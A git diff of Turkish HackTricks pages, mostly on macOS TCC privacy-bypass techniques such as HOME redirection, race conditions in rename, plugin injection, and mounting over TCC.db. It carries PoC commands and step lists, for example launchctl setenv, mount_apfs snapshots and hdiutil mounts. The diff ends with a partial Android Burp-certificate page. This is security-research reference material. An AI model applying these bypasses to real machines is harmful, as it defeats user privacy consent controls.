Kullanıcı alanı **tccd daemon**'ı, TCC kullanıcı veritabanına erişmek için **`HOME`** **env** değişkenini kullanır: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
[Şu Stack Exchange gönderisine](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) göre ve TCC daemon'ının mevcut kullanıcının etki alanı içinde `launchd` aracılığıyla çalıştırıldığından, **tüm çevre değişkenlerini kontrol etmek mümkündür**.\
-Bu nedenle, bir **saldırgan**, **`launchctl`** içinde **`$HOME`** çevre değişkenini kontrol edilen bir **dizine** işaret etmek üzere ayarlayabilir, **TCC** daemon'ını **yeniden başlatabilir** ve ardından **TCC veritabanını doğrudan değiştirerek** kendisine **kullanılabilir tüm TCC yetkilerini** vererek son kullanıcıya hiçbir zaman sormadan yetki kazanabilir.\
+Bu nedenle, bir **saldırgan**, **`launchctl`** içinde **`$HOME`** çevre değişkenini kontrol edilen bir **dizine** işaret etmek üzere ayarlayabilir, **TCC** daemon'ını **yeniden başlatabilir** ve ardından TCC veritabanını **doğrudan değiştirerek** kendisine **kullanılabilir tüm TCC yetkilerini** vererek son kullanıcıya hiçbir zaman soru sormadan yetkilendirebilir.\
PoC:
```bash
# reset database just in case (no cheating!)
@@ -160,70 +160,70 @@ $> ls ~/Documents
```
### CVE-2021-30761 - Notlar
-Notlar, TCC korumalı konumlara erişime sahipti ancak bir not oluşturulduğunda bu **korumalı olmayan bir konumda oluşturulur**. Bu nedenle, notlardan birinin korumalı bir dosyayı bir nota kopyalamasını isteyebilir ve ardından dosyaya erişebilirsiniz:
+Notlar, TCC korumalı konumlara erişime sahipti ancak bir not oluşturulduğunda bu **korumalı olmayan bir konumda oluşturulur**. Bu nedenle, notlara korumalı bir dosyayı bir nota kopyalamasını isteyebilir ve ardından dosyaya erişebilirsiniz:
### CVE-2021-30782 - Taşınma
-`/usr/libexec/lsd` ikili dosyası, `libsecurity_translocate` kütüphanesi ile `com.apple.private.nullfs_allow` yetkisine sahipti, bu da **nullfs** bağlantısını oluşturmasına izin veriyordu ve `com.apple.private.tcc.allow` yetkisine sahipti ve **`kTCCServiceSystemPolicyAllFiles`** ile her dosyaya erişim sağlıyordu.
+`/usr/libexec/lsd` ikili dosyası, `libsecurity_translocate` kütüphanesiyle birlikte `com.apple.private.nullfs_allow` yetkisine sahipti, bu da **nullfs** bağlantısını oluşturmasına izin veriyordu ve `com.apple.private.tcc.allow` yetkisine sahipti ve **`kTCCServiceSystemPolicyAllFiles`** ile her dosyaya erişim sağlıyordu.
-"Library" klasörüne karantina özniteliği eklemek, **`com.apple.security.translocation`** XPC servisini çağırmak ve ardından Library'yi **`$TMPDIR/AppTranslocation/d/d/Library`** olarak eşlemek ve Library içindeki tüm belgelere **erişmek** mümkündü.
+"Library" klasörüne karantina özniteliği eklemek, **`com.apple.security.translocation`** XPC servisini çağırmak ve ardından Library'yi **`$TMPDIR/AppTranslocation/d/d/Library`**'ye eşlemek ve Library içindeki tüm belgelere **erişmek** mümkündü.
### CVE-2023-38571 - Müzik ve TV
-**`Müzik`** ilginç bir özelliğe sahiptir: Çalıştığında, kullanıcının "ortam kütüphanesine" **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** bırakılan dosyaları **ithal eder**. Dahası, şuna benzer bir şey çağırır: **`rename(a, b);`** burada `a` ve `b` şunlardır:
+**`Müzik`** ilginç bir özelliğe sahiptir: Çalıştığında, kullanıcının "ortam kütüphanesine" **`~/Music/Music/Media.localized/Automatically Add to Music.localized`**'e bırakılan dosyaları **ithal eder**. Ayrıca şuna benzer bir şey çağırır: **`rename(a, b);`** burada `a` ve `b` şunlardır:
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
-Bu **`rename(a, b);`** davranışı bir **Yarış Koşulu**na karşı savunmasızdır, çünkü `Automatically Add to Music.localized` klasörüne sahte bir **TCC.db** dosyası yerleştirmek ve ardından yeni klasörün (b) oluşturulduğunda dosyayı kopyalamak, silmek ve **`~/Library/Application Support/com.apple.TCC`**'ye yönlendirmek mümkündür.
+Bu **`rename(a, b);`** davranışı bir **Yarış Koşulu**'na karşı savunmasızdır, çünkü `Automatically Add to Music.localized` klasörüne sahte bir **TCC.db** dosyası yerleştirmek ve ardından yeni klasörün (b) oluşturulduğunda dosyayı kopyalamak, silmek ve onu **`~/Library/Application Support/com.apple.TCC`**'ye yönlendirmek mümkündür.
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
-**`SQLITE_SQLLOG_DIR="yol/klasör"`** ayarı temelde **herhangi bir açık db'nin o yola kopyalandığı** anlamına gelir. Bu CVE'de bu kontrol, **FDA'ya sahip bir işlem tarafından açılacak bir SQLite veritabanına yazmak** için kötüye kullanıldı ve ardından **`SQLITE_SQLLOG_DIR`**'yi **dosya adındaki sembolik bağlantı ile** kötüye kullanarak, bu veritabanı **açıldığında**, kullanıcı **TCC.db'si açılanla üzerine yazılır**.
+Eğer **`SQLITE_SQLLOG_DIR="yol/klasör"`** ise temelde **herhangi bir açık db'nin o yola kopyalandığı** anlamına gelir. Bu CVE'de bu kontrol, **FDA'ya sahip bir işlem tarafından açılacak bir SQLite veritabanına yazmak** için kötüye kullanıldı ve ardından **`SQLITE_SQLLOG_DIR`**'yi **dosya adındaki sembolik bağlantı ile** kötüye kullanarak, bu veritabanı **açıldığında**, kullanıcı **TCC.db'si açılanla üzerine yazıldı**.
-**Daha fazla bilgi** [**yazılımda**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **ve** [**sunumda**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
+**Daha fazla bilgi** [**yazılı açıklamada**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **ve** [**sunumda**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
### **SQLITE\_AUTO\_TRACE**
-Çevre değişkeni **`SQLITE_AUTO_TRACE`** ayarlandığında, **`libsqlite3.dylib`** kütüphanesi tüm SQL sorgularını **günlüğe kaydetmeye** başlar. Birçok uygulama bu kütüphaneyi kullandığından, tüm SQLite sorgularını günlüğe kaydetmek mümkündü.
+Eğer **`SQLITE_AUTO_TRACE`** çevresel değişkeni ayarlanmışsa, **`libsqlite3.dylib`** kütüphanesi tüm SQL sorgularını **günlüğe kaydetmeye** başlayacaktır. Birçok uygulama bu kütüphaneyi kullandığından, tüm SQLite sorgularını günlüğe kaydetmek mümkündü.
-Birçok Apple uygulaması, TCC korumalı bilgilere erişmek için bu kütüphaneyi kullandı.
+Birçok Apple uygulaması, TCC korumalı bilgilere erişmek için bu kütüphaneyi kullanmaktadır.
```bash
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
```
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
-Bu **çevre değişkeni, çeşitli programların bağımlılığı olan `Metal` çerçevesi tarafından kullanılır**, en dikkate değer olarak `Music` programı, FDA'ya sahiptir.
+Bu **çevre değişkeni, çeşitli programların bağımlılığı olan `Metal` çerçevesi tarafından kullanılır**, en önemlisi `Music` programıdır, FDA'ya sahiptir.
-Aşağıdakini ayarlayarak: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Eğer `path` geçerli bir dizin ise, hata tetiklenecek ve programda neler olduğunu görmek için `fs_usage` kullanabiliriz:
+Aşağıdakini ayarlayarak: `MTL_DUMP_PIPELINES_TO_JSON_FILE="yol/ad"` Eğer `yol` geçerli bir dizin ise, hata tetiklenecek ve programda neler olduğunu görmek için `fs_usage` kullanabiliriz:
-* `open()` ile açılacak bir dosya, `path/.dat.nosyncXXXX.XXXXXX` adında (X rastgeledir)
-* bir veya daha fazla `write()` işlemi içeriği dosyaya yazacak (bunu kontrol etmiyoruz)
-* `path/.dat.nosyncXXXX.XXXXXX` `rename()` ile `path/name` olarak adlandırılacak
+* `open()` ile `path/.dat.nosyncXXXX.XXXXXX` (X rastgele) adında bir dosya açılacak
+* bir veya daha fazla `write()` içeriği dosyaya yazacak (bunu kontrol etmiyoruz)
+* `path/.dat.nosyncXXXX.XXXXXX` `rename()` ile `path/ad` olarak yeniden adlandırılacak
-Bu geçici bir dosya yazma işlemidir, ardından **güvenli olmayan bir şekilde `rename(eski, yeni)`** işlemi gerçekleşir.
+Bu geçici bir dosya yazma işlemidir, ardından **güvenli olmayan bir şekilde `rename(eski, yeni)` gerçekleşir.**
Bu güvenli değildir çünkü **eski ve yeni yolları ayrı ayrı çözmesi** gerekir, bu da biraz zaman alabilir ve Yarış Koşulu'na karşı savunmasız olabilir. Daha fazla bilgi için `xnu` fonksiyonu olan `renameat_internal()`'a bakabilirsiniz.
{% hint style="danger" %}
-Yani, temelde, bir ayrıcalıklı işlem, kontrol ettiğiniz bir klasörden yeniden adlandırma yaparsa, bir RCE kazanabilir ve erişimi farklı bir dosyaya yönlendirebilir veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayı açabilir ve bir FD saklayabilir.
+Yani, temelde, bir ayrıcalıklı işlem, kontrol ettiğiniz bir klasörden yeniden adlandırma yaptığında, bir RCE kazanabilir ve farklı bir dosyaya erişim sağlayabilir veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayı açabilir ve bir FD saklayabilir.
-Yeniden adlandırma, kontrol ettiğiniz bir klasöre erişirse ve kaynak dosyayı değiştirmişseniz veya bir FD'si varsa, hedef dosyayı (veya klasörü) bir sembolik bağa işaret etmek için hedef dosyayı değiştirebilirsiniz, böylece istediğiniz zaman yazabilirsiniz.
+Yeniden adlandırma, kontrol ettiğiniz bir klasöre erişirse, kaynak dosyayı değiştirmiş veya bir FD'si varsa, hedef dosyayı (veya klasörü) bir sembolik bağa işaret etmek için değiştirebilirsiniz, böylece istediğiniz zaman yazabilirsiniz.
{% endhint %}
-Bu, CVE'deki saldırıydı: Örneğin, kullanıcının `TCC.db` dosyasını üzerine yazmak için:
+Bu, CVE'deki saldırı buydu: Örneğin, kullanıcının `TCC.db` dosyasını üzerine yazmak için:
* `/Users/hacker/ourlink`'i `/Users/hacker/Library/Application Support/com.apple.TCC/`'ye işaret edecek şekilde oluşturun
* `/Users/hacker/tmp/` dizinini oluşturun
* `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` olarak ayarlayın
* bu çevre değişkeni ile `Music`'i çalıştırarak hatayı tetikleyin
-* `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`'in `open()`'ını yakalayın (X rastgeledir)
-* burada ayrıca bu dosyayı yazmak için `open()` yapın ve dosya tanımlayıcısını elinde tutun
+* `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`'in `open()`'ını yakalayın (X rastgele)
+* burada ayrıca bu dosyayı yazmak için `open()` yapın ve dosya tanımlayıcısını elinizde tutun
* `/Users/hacker/tmp`'yi atomik olarak `/Users/hacker/ourlink` ile **bir döngü içinde değiştirin**
-* bunu yapmamızın nedeni, yarış penceresinin oldukça dar olması nedeniyle başarılı olma şansımızı maksimize etmek, ancak yarışı kaybetmenin ihmal edilebilir bir dezavantajı vardır
+* bunu başarılı olma şansımızı maksimize etmek için yapıyoruz çünkü yarış penceresi oldukça dar, ancak yarışı kaybetmenin ihmal edilebilir bir dezavantajı var
* biraz bekleyin
* şanslı olup olmadığımızı test edin
* değilse, tekrar en baştan çalıştırın
@@ -236,15 +236,15 @@ Daha fazla bilgi için [https://gergelykalman.com/lateralus-CVE-2023-32407-a-mac
### Apple Uzak Masaüstü
-Root olarak bu hizmeti etkinleştirebilir ve **ARD ajanı tam disk erişimine sahip olacak**, bu da ardından bir kullanıcının yeni bir **TCC kullanıcı veritabanı** kopyalamasını sağlamak için kötüye kullanılabilir.
+Root olarak bu hizmeti etkinleştirebilir ve **ARD ajanı tam disk erişimine sahip olacak**, bu da ardından bir kullanıcının yeni **TCC kullanıcı veritabanını kopyalamasını** sağlayabileceği şekilde kötüye kullanılabilir.
## **NFSHomeDirectory** ile
TCC, kullanıcının HOME klasöründeki bir veritabanını kontrol etmek için kullanır, bu da kullanıcının **$HOME/Library/Application Support/com.apple.TCC/TCC.db**'deki kullanıcıya özgü kaynaklara erişimi kontrol etmesini sağlar.\
-Bu nedenle, kullanıcı, TCC'yi **farklı bir klasöre işaret eden $HOME** çevresi değişkeni ile yeniden başlatmayı başarırsa, kullanıcı **/Library/Application Support/com.apple.TCC/TCC.db**'de yeni bir TCC veritabanı oluşturabilir ve TCC'yi herhangi bir uygulamaya herhangi bir TCC iznini vermesi için kandırabilir.
+Bu nedenle, kullanıcı, TCC'yi **farklı bir klasöre işaret eden $HOME çevresel değişkeni ile yeniden başlatmayı başarırsa**, kullanıcı **/Library/Application Support/com.apple.TCC/TCC.db**'de yeni bir TCC veritabanı oluşturabilir ve TCC'yi herhangi bir uygulamaya herhangi bir TCC iznini vermesi için kandırabilir.
{% hint style="success" %}
-Apple, `$HOME` değerinin **`NFSHomeDirectory`** özniteliğinde saklanan ayarları kullanır, bu nedenle bu değeri değiştirmeye izin veren izinlere sahip bir uygulamayı ele geçirirseniz (**`kTCCServiceSystemPolicySysAdminFiles`**), bu seçeneği bir TCC atlatma ile **silahlandırabilirsiniz**.
+Apple, **`NFSHomeDirectory`** özelliğinde saklanan ayarları kullanır ve **`$HOME`** değerini belirlemek için kullanıcının profilindeki ayarı kullanır, bu nedenle bu değeri değiştirmeye izin veren bir uygulamayı ele geçirirseniz (**`kTCCServiceSystemPolicySysAdminFiles`**), bu seçeneği bir TCC atlatma ile **silahlaştırabilirsiniz**.
{% endhint %}
### [CVE-2020–9934 - TCC](./#c19b)
@@ -255,40 +255,40 @@ Apple, `$HOME` değerinin **`NFSHomeDirectory`** özniteliğinde saklanan ayarla
**İlk POC**, hedef uygulama için bir _csreq_ blogu alır.
-1. Gerekli erişime sahip sahte bir _TCC.db_ dosyası ve _csreq_ blogunu yerleştirin.
-2. Kullanıcının Directory Hizmetleri girişini [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) ile dışa aktarın.
-3. Kullanıcının ev dizinini değiştirmek için Directory Hizmetleri girişini değiştirin.
-4. Değiştirilmiş Directory Hizmetleri girişini [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) ile içe aktarın.
+1. Gerekli erişim ve _csreq_ blogu ile sahte bir _TCC.db_ dosyası yerleştirin.
+2. Kullanıcının Directory Services girişini [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) ile dışa aktarın.
+3. Kullanıcının ev dizinini değiştirmek için Directory Services girişini değiştirin.
+4. Değiştirilmiş Directory Services girişini [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) ile içe aktarın.
5. Kullanıcının _tccd_'sini durdurun ve işlemi yeniden başlatın.
**İkinci POC**, `com.apple.private.tcc.allow` değeri `kTCCServiceSystemPolicySysAdminFiles` olan **`/usr/libexec/configd`**'yi kullanıyordu.\
-Bir saldırgan, **`configd`**'yi **`-t`** seçeneğiyle çalıştırarak **özel bir Paket yüklemesini** belirleyebilirdi. Bu nedenle, saldırı, kullanıcının ev dizinini değiştirmenin **`configd` kod enjeksiyonu** ile **`dsexport`** ve **`dsimport`** yöntemini değiştirmesini sağlar.
+Bir saldırgan, **`configd`**'yi **`-t`** seçeneğiyle çalıştırabilirse, özel bir **Yükleme Paketi belirleyebilir**. Bu nedenle, saldırı, kullanıcının ev dizinini değiştirmenin **`dsexport`** ve **`dsimport`** yöntemini **`configd` kod enjeksiyonu** ile değiştirir.
Daha fazla bilgi için [**orijinal rapora**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/) bakın.
## İşlem enjeksiyonu ile
-Bir işlem içine kod enjekte etmek ve TCC ayrıcalıklarını kötüye kullanmak için farklı teknikler vardır:
+Bir işleme kod enjekte etmek ve TCC ayrıcalıklarını kötüye kullanmak için farklı teknikler vardır:
{% content-ref url="../../../macos-proces-abuse/" %}
[macos-proces-abuse](../../../macos-proces-abuse/)
{% endcontent-ref %}
-Ayrıca, TCC'yi atlatmak için en yaygın işlem enjeksiyonu, **eklentiler (kütüphane yükleme)** aracılığıyla gerçekleştirilir.\
-Eklentiler, genellikle kütüphane veya plist biçiminde ek kodlardır, ana uygulama tarafından **yüklenir** ve kendi bağlamı altında çalıştırılır. Bu nedenle, ana uygulamanın TCC kısıtlı dosyalara erişimi varsa (izin verilen izinler veya yetkilendirmeler aracılığıyla), **özel kodun da olacaktır**.
+Ayrıca, TCC'yi atlatmak için en yaygın işlem enjeksiyonu, **eklentileri (kütüphane yükleme)** aracılığıyla gerçekleştirilir.\
+Eklentiler, genellikle kütüphane veya plist biçiminde ekstra kodlardır, ana uygulama tarafından **yüklenir** ve kendi bağlamı altında çalıştırılır. Bu nedenle, ana uygulamanın TCC kısıtlı dosyalara erişimi varsa (izin verilen izinler veya yetkilendirmeler aracılığıyla), **özel kod da buna sahip olacaktır**.
### CVE-2020-27937 - Directory Utility
-Uygulama `/System/Library/CoreServices/Applications/Directory Utility.app`, **`kTCCServiceSystemPolicySysAdminFiles`** yetkisine sahipti, **`.daplug`** uzantılı eklentileri yüklüyordu ve **sertleştirilmiş** çalışma zamanına sahip değildi.
+Uygulama `/System/Library/CoreServices/Applications/Directory Utility.app`, **`kTCCServiceSystemPolicySysAdminFiles`** yetkisine sahipti, **`.daplug`** uzantılı eklentiler yüklüydü ve **sertleştirilmiş** çalışma zamanına sahip değildi.
-Bu CVE'yi silahlandırmak için, **`NFSHomeDirectory`** değiştirilir (önceki yetkiyi kötüye kullanarak) ve TCC'yi atlatmak için kullanıcının TCC veritabanını ele geçirebilmek için **kullanıcıların TCC veritabanını ele geçirmek** için değiştirilir.
+Bu CVE'yi silahlaştırmak için, **`NFSHomeDirectory`** değiştirilir (önceki yetkiyi kötüye kullanarak) ve TCC'yi atlatmak için kullanıcıların TCC veritabanını ele geçirebilmek için **değiştirilir**.
Daha fazla bilgi için [**orijinal rapora**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/) bakın.
### CVE-2020-29621 - Coreaudiod
-**`/usr/sbin/coreaudiod`** ikili dosyasının ayrıcalıkları `com.apple.security.cs.disable-library-validation` ve `com.apple.private.tcc.manager` idi. İlk ayrıcalık **kod enjeksiyonuna izin verirken**, ikinci ayrıcalık ise **TCC'yi yönetme erişimi sağlıyordu**.
+**`/usr/sbin/coreaudiod`** ikili dosyasının ayrıcalıkları `com.apple.security.cs.disable-library-validation` ve `com.apple.private.tcc.manager` idi. İlk ayrıcalık **kod enjeksiyonuna izin verirken**, ikinci ayrıcalık **TCC'yi yönetme erişimi sağlıyordu**.
-Bu ikili dosya, `/Library/Audio/Plug-Ins/HAL` klasöründen **üçüncü taraf eklentileri yüklemeye izin veriyordu**. Dolayısıyla, bu PoC ile **bir eklenti yüklemek ve TCC izinlerini kötüye kullanmak mümkündü**:
+Bu ikili dosya, `/Library/Audio/Plug-Ins/HAL` klasöründen **üçüncü taraf eklentileri yüklemeye izin veriyordu**. Bu nedenle, bu PoC ile **bir eklenti yüklemek ve TCC izinlerini kötüye kullanmak mümkündü**:
```objectivec
#import
#import
@@ -319,15 +319,15 @@ Daha fazla bilgi için [**orijinal rapora**](https://wojciechregula.blog/post/pl
### Aygıt Soyutlama Katmanı (DAL) Eklentileri
-**Core Media I/O** aracılığıyla kamera akışını açan sistem uygulamaları (**`kTCCServiceCamera`**'ya sahip uygulamalar) **bu eklentileri** işlem içine yükler `/Library/CoreMediaIO/Plug-Ins/DAL` (SIP kısıtlaması olmayan).
+**Core Media I/O** aracılığıyla kamera akışını açan sistem uygulamaları (**`kTCCServiceCamera`**'ya sahip uygulamalar), `/Library/CoreMediaIO/Plug-Ins/DAL` dizininde bulunan **bu eklentileri** işlem içine yükler (SIP kısıtlaması olmadan).
-Oraya yaygın **kurucu** ile bir kütüphane saklamak, **kod enjekte etmek** için çalışacaktır.
+Oraya yaygın **yapıcı** ile bir kütüphane saklamak, **kod enjekte etmek** için çalışacaktır.
Birçok Apple uygulaması buna karşı savunmasızdı.
### Firefox
-Firefox uygulamasında `com.apple.security.cs.disable-library-validation` ve `com.apple.security.cs.allow-dyld-environment-variables` ayrıcalıkları bulunmaktaydı:
+Firefox uygulamasında `com.apple.security.cs.disable-library-validation` ve `com.apple.security.cs.allow-dyld-environment-variables` yetkileri bulunmaktaydı:
```xml
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
@@ -357,13 +357,13 @@ Daha fazla bilgi için bu [**orijinal raporu kontrol edin**](https://wojciechreg
### CVE-2020-10006
-`/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` ikili dosyasında **`com.apple.private.tcc.allow`** ve **`com.apple.security.get-task-allow`** yetkileri bulunmaktaydı, bu da süreç içine kod enjekte etmeye ve TCC ayrıcalıklarını kullanmaya olanak tanıdı.
+`/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` ikili dosyasında **`com.apple.private.tcc.allow`** ve **`com.apple.security.get-task-allow`** yetkileri vardı, bu da işlem içine kod enjekte etmeye ve TCC ayrıcalıklarını kullanmaya olanak tanıdı.
### CVE-2023-26818 - Telegram
-Telegram'da **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`com.apple.security.cs.disable-library-validation`** yetkileri bulunmaktaydı, bu nedenle kamerayla kayıt yapma gibi izinlere **erişmek mümkündü**. İzinlerine [**writeup'ta bulunan yükü bulabilirsiniz**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
+Telegram'da **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`com.apple.security.cs.disable-library-validation`** yetkileri vardı, bu nedenle kamerayla kayıt yapma gibi izinlere **erişmek mümkündü**. [**Payload'ı yazıda bulabilirsiniz**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
-Özel bir plist dosyası oluşturularak bu kütüphaneyi enjekte etmek ve bunu başlatmak için **`launchctl`** kullanılarak ortam değişkenini kullanma şekli dikkat çekicidir:
+Ortam değişkenini kullanmak için bir kütüphane yüklemek için bir **özel plist** oluşturuldu ve bunu enjekte etmek için **`launchctl`** kullanıldı:
```xml
@@ -393,13 +393,13 @@ Telegram'da **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`c
```bash
launchctl load com.telegram.launcher.plist
```
-## Açık çağrımlarla
+## Açık çağrılarla
-Kumbaralanmışken bile **`open`** çağrısı yapmak mümkündür
+Kumlanmışken bile **`open`** çağrısı yapmak mümkündür.
### Terminal Betikleri
-Terminal'e **Tam Disk Erişimi (TDE)** vermek oldukça yaygındır, en azından teknik kişiler tarafından kullanılan bilgisayarlarda. Ve **`.terminal`** betiklerini bu izinle kullanarak çağırmak mümkündür.
+Terminal **Tam Disk Erişimi (TDE)** vermek oldukça yaygındır, en azından teknik kişiler tarafından kullanılan bilgisayarlarda. Ve **`.terminal`** betiklerini bu erişimle kullanmak mümkündür.
**`.terminal`** betikleri, **`CommandString`** anahtarında yürütülecek komutla birlikte olan bu örnekteki gibi plist dosyalarıdır:
```xml
@@ -430,12 +430,12 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];
```
-## Bağlama Yoluyla
+## Montaj Yoluyla
### CVE-2020-9771 - mount\_apfs TCC atlatma ve ayrıcalık yükseltme
-**Herhangi bir kullanıcı** (hatta ayrıcalıklı olmayanlar) bir zaman makinesi anı görüntüsü oluşturabilir ve bağlayabilir ve o anının **TÜM dosyalarına erişebilir**.\
-Kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine sahip olması gereken **tek ayrıcalık**, bunun bir yönetici tarafından verilmesi gereken (`kTCCServiceSystemPolicyAllfiles`) ayrıcalıktır.
+**Herhangi bir kullanıcı** (hatta ayrıcalıklı olmayanlar bile) bir zaman makinesi anı görüntüsü oluşturabilir ve monte edebilir ve o anı görüntüsündeki **TÜM dosyalara erişebilir**.\
+Kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine sahip olması gereken **tek ayrıcalık** (`kTCCServiceSystemPolicyAllfiles`) bir yönetici tarafından verilmelidir.
{% code overflow="wrap" %}
```bash
@@ -461,9 +461,9 @@ ls /tmp/snap/Users/admin_user # This will work
Daha detaylı bir açıklama [**orijinal raporda bulunabilir**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
-### CVE-2021-1784 & CVE-2021-30808 - TCC dosyası üzerine monte etme
+### CVE-2021-1784 & CVE-2021-30808 - TCC dosyası üzerinden Mount
-TCC DB dosyası korunsa bile, yeni bir TCC.db dosyasını **dizin üzerine monte etmek** mümkündü:
+TCC DB dosyası korunsa bile, yeni bir TCC.db dosyasını **dizin üzerine mount etmek** mümkündü:
```bash
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
@@ -493,7 +493,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
### Konum Hizmetleri
**`/var/db/locationd/clients.plist`** içinde üçüncü bir TCC veritabanı bulunur ve burada **konum hizmetlerine erişime izin verilen istemciler** belirtilir.\
-**`/var/db/locationd/` klasörü DMG bağlama koruması olmadığından** kendi plist dosyamızı bağlamak mümkündü.
+**`/var/db/locationd/` klasörü DMG bağlama korumasından yoksundu** bu yüzden kendi plist'imizi bağlamak mümkündü.
## Başlangıç uygulamalarıyla
@@ -503,7 +503,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
## Grep ile
-Bazı durumlarda dosyalar hassas bilgileri (e-postalar, telefon numaraları, mesajlar...) korunmayan konumlarda saklarlar (bu da Apple için bir zayıflık olarak kabul edilir).
+Çeşitli durumlarda dosyalar hassas bilgileri (e-postalar, telefon numaraları, mesajlar...) korunmayan konumlarda saklar (bu da Apple için bir zayıflık olarak kabul edilir).
@@ -511,11 +511,11 @@ Bazı durumlarda dosyalar hassas bilgileri (e-postalar, telefon numaraları, mes
Bu artık çalışmıyor, ancak [**geçmişte çalışıyordu**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
-
+
Başka bir yol [**CoreGraphics olayları kullanarak**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
-
+
## Referans
diff --git a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
index decdecf75..b5984a466 100644
--- a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
+++ b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
@@ -7,8 +7,8 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
-* [**Resmi PEASS & HackTricks ürünlerini** alın](https://peass.creator-spring.com)
-* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -20,7 +20,8 @@ HackTricks'ı desteklemenin diğer yolları:
![](<../../.gitbook/assets/image (367).png>)
-**Sertifikayı Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim.** **Android makinesinde burp sertifikasını yapılandırmak için AVD'de** bu makineyi **`-writable-system`** seçeneğiyle **çalıştırmanız gerektiğini unutmayın.** Örneğin şu şekilde çalıştırabilirsiniz:
+Sertifikayı **Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim**. **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneğiyle **çalıştırmanız gerektiğini unutmayın.**\
+Örneğin şu şekilde çalıştırabilirsiniz:
{% code overflow="wrap" %}
```bash
@@ -43,39 +44,39 @@ adb reboot #Now, reboot the machine
```
{% endcode %}
-**Makine yeniden başlatıldığında**, burp sertifikası onun tarafından kullanılacak!
+**Makine yeniden başlatıldığında**, burp sertifikası tarafından kullanılacaktır!
## Magisc Kullanımı
-Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dosya sistemi salt okunur olduğu için yazılabilir hale getiremiyorsanız**, önceki adımları takip edemiyorsanız, Burp sertifikasını yüklemek için başka bir yol bulunmaktadır.
+Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dosya sistemi salt okunur olduğu için** Burp sertifikasını yüklemek için önceki adımları takip edemiyorsanız, başka bir yol bulunmaktadır.
-[**Bu video**](https://www.youtube.com/watch?v=qQicUW0svB8)da açıklandığı gibi yapmanız gerekenler:
+[**Bu video**](https://www.youtube.com/watch?v=qQicUW0svB8)da açıklandığı gibi şunları yapmanız gerekmektedir:
